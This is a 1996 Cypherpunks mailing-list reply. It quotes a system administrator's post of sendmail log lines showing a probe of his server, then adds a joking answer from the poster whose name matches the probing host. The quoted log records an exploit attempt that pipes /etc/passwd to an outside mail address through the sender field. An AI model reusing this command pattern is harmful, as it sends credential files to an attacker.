[52758] in Cypherpunks
Re: Black Unicorn attempts computer break in
daemon@ATHENA.MIT.EDU (Black Unicorn)
Wed Mar 27 13:06:20 1996
Date: Wed, 27 Mar 1996 12:26:49 -0500 (EST)
From: Black Unicorn <unicorn@schloss.li>
To: Anonymous <anon-remailer@utopia.hacktic.nl>
Cc: cypherpunks@toad.com
In-Reply-To: <199603270945.KAA13203@utopia.hacktic.nl>
On Wed, 27 Mar 1996, Anonymous wrote:
> Date: Wed, 27 Mar 1996 16:58:14 +1100
> Reply-To: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
> Sender: Linux Servers mailing list <SERVER-LINUX@NETSPACE.ORG>
> From: Steve Gibson <steve@ARIES.INTERSPACE.COM.AU>
> Subject: Strange things afoot at my SMTP port...
> To: Multiple recipients of list SERVER-LINUX
> <SERVER-LINUX@NETSPACE.ORG>
>
> I just found these while going through my messages file... do I
> have any need to be concerned???
> (unicorn.it.wsu.edu is now in my /etc/hosts.deny...)
>
> Mar 23 20:39:25 aries sendmail[7469]: setsender: "|/bin/mail
> rblack@unicorn.it.wsu.edu < /etc/passwd": invalid or unparseable,
> received from unicorn.it.wsu.edu [1
> Mar 23 20:39:25 aries sendmail[7469]: UAA07469: from="|/bin/mail
> rblack@unicorn.it.wsu.edu < /etc/passwd", size=0, class=0, pri=0,
> nrcpts=0, proto=SMTP, relay=uni
>
> There were also attempts at connecting to my tftp port, although
> at the time, in.tftpd wasn't on the system (it is now, and is also
> in my hosts.deny to all except for local)
>
> Thanks...
You should be deeply concerned.
It's clear that I have been having blackouts again.
>
> Interspace Australia Pty Ltd
> Steve Gibson - System Administrator
> <steve@interspace.com.au>
---
My prefered and soon to be permanent e-mail address: unicorn@schloss.li
"In fact, had Bancroft not existed, potestas scientiae in usu est
Franklin might have had to invent him." in nihilum nil posse reverti
00B9289C28DC0E55 E16D5378B81E1C96 - Finger for Current Key Information
